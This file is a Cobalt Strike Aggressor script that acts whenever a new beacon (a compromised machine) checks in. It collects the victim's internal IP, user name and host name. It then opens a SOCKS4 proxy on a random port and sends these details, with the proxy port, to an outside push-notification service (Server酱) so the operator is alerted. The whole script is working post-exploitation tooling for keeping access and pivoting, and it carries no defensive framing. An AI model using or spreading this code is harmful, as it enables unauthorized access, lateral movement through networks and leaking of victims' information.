Automatic-permission-maintenance(Socks4).cna

# Author: H0e4a0r1t

# 循环获取所有beacon
on beacon_initial {

    sub http_get {
        local('$output');
        $url = [new java.net.URL: $1];
        $stream = [$url openStream];
        $handle = [SleepUtils getIOHandle: $stream, $null];

        @content = readAll($handle);

        foreach $line (@content) {
            $output .= $line . "\r\n";
        }

        println($output);
    }

    #获取ip、计算机名、登录账号
    $internalIP = replace(beacon_info($1, "internal"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    println('IP:'.$internalIP.'  UserName:'.$userName.'   ComputerName:'.$computerName);
    $x = 0;
    foreach $bid (beacon_ids()) {
        $inIP = replace(beacon_info($bid, "internal"), " ", "_");
        $lastTime = replace(beacon_info($bid, "last"), " ", "_");
        if ($lastTime <= 60000){
            if ($inIP == $internalIP) {
                $x = $x + 1;
            }
            @ip[$x] = $inIP;
            @last[$x] = $lastTime;
            @un[$x] = $userName;
        }
    }
    if ($x < 2){
        $port = rand(65535);
        bsocks($1, $port);
        println('Socket IP:'.$internalIP.'   Socket Port:'.$port);
        #get一下Server酱的链接
        $url = 'https://sctapi.ftqq.com/XXXXXXXXXXXX(key).send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName.'%0D%0A%0D%0ASocket_IP:'.$internalIP.'%0D%0A%0D%0ASocket_Port:'.$port;
        http_get($url);
    }else{
        println("该IP存活数量大于2！");
        println("存活列表：\nIP: ".replace(@ip, "@", "")."\n心跳: ".replace(@last, "@", "")."\n用户名: ".replace(@un, "@", ""));
    }

}